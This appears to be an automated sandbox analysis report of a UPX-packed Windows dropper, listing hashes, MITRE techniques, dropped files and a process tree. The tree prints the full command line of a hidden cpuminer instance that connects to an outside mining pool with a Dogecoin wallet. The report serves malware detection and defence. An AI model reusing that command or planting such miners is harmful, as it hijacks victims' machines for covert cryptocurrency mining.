73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
23/02/2024, 04:40

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1712835645-2080934712-2142796781-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2120	b2e.exe
4068	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4068	cpuminer-sse2.exe
4068	cpuminer-sse2.exe
4068	cpuminer-sse2.exe
4068	cpuminer-sse2.exe
4068	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3920-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 2120	3920	batexe.exe	89
PID 3920 wrote to memory of 2120	3920	batexe.exe	89
PID 3920 wrote to memory of 2120	3920	batexe.exe	89
PID 2120 wrote to memory of 1996	2120	b2e.exe	90
PID 2120 wrote to memory of 1996	2120	b2e.exe	90
PID 2120 wrote to memory of 1996	2120	b2e.exe	90
PID 1996 wrote to memory of 4068	1996	cmd.exe	93
PID 1996 wrote to memory of 4068	1996	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5525.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1996
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe

Filesize
18.8MB

MD5
b4f3a985ff9d8f29bb62e6b1d8d13fac

SHA1
279e4e04e01107be0d5fde8688a42c8f8a237c2f

SHA256
5718212ef778fb4e57b5938e0278c5ea65b16c1191c0128175c72b55377f3d5e

SHA512
b62e7b972e28e97a372b68bf312db912f09b9c7543165526dff24da12030fe7d862af41219fbe38c172072541bfaedccd8b4cdc7228bbbc05cc2d42d3743bfb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe

Filesize
2.7MB

MD5
16489cdb72d63283f66ae7eec19a155d

SHA1
1cc4afaac47c497068474c42f61ade0fd4fad374

SHA256
a76fd8b0e051c388f194b267e613f8723dc7ac3a2ee50cdcb18f6e82376b30b6

SHA512
0e6c6d93d6d36df74e2a43243f541ae03d028f11beab12311020b856532565e03f67551d9cf6bdd0b9000f79fc56c379d8eff47e0adbb9b7d960b2648503f6c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\515C.tmp\b2e.exe

Filesize
3.4MB

MD5
f96e42375e63a544da43041c8d21f7e7

SHA1
c6abfbba23274064deae925cfe25723741124dca

SHA256
1be6e8e5959f5bea6687d32ad76fa4ca596fb62e51154a5a3ccb0cbf8e96f429

SHA512
194a2ec23ed6c588fdb748a9b0a69c08eb3b5738cd2868345f7d1adc7560eb91088723838814dea67ee49a6bbea63e53ff167a9e919b9bc3936d62d37200b764

Download Submit
C:\Users\Admin\AppData\Local\Temp\5525.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.0MB

MD5
5e50d5ad8ad0be018b4e62991f2055ef

SHA1
a05d7c5c3cdf219b706e7611bccd2cf09c04fe30

SHA256
d14a945fdeee8aa6cffd08a512c7d9b63965223bd2a9bc7165875997e7eeebe5

SHA512
a3a019dae48ac125d44ca9bded52e38df411ab7a7bfd7ea4a19fdc56a3da18c6996837cde9be15c70dc214bcf87e3039fb8b03b481faafdf49445a58261c52e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.2MB

MD5
dcaf86d13c257b6e11d8842dcd4a1ff5

SHA1
f41f07b6953346a14ef57496d21ad02223552225

SHA256
78a8219448385b1e2b2c980f4e9eb777f0341112f7c00847d5cc9355df507a49

SHA512
fc6918a7359887fb2947ac69f8a9dfd24a008ebc2146cd1eaffb70b31fdf8801eb14ce5074e76e99e961f93aa72ef5ce50558b7c2ddca874d15a0b5e580bf9ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
82611359e00c2988fdd5207de20e9039

SHA1
42efdd0371816dea1635bc5e2e3881ecd7529a87

SHA256
e55669f9c20457b23a1da910e3a11cbc3a190b3a314c638c5102990c774f97f9

SHA512
cc9be7e9052eaf3ee5f5161420d28d34cce5d36a1d5f6e0fb5e5d3e131eb51a461e23bad337977d94656fc53a7ee93678510e35bbeb278f00329d762881b6d5d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2120-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2120-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3920-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4068-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4068-45-0x0000000051E10000-0x0000000051EA8000-memory.dmp

Filesize
608KB

Download
memory/4068-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4068-47-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/4068-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4068-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download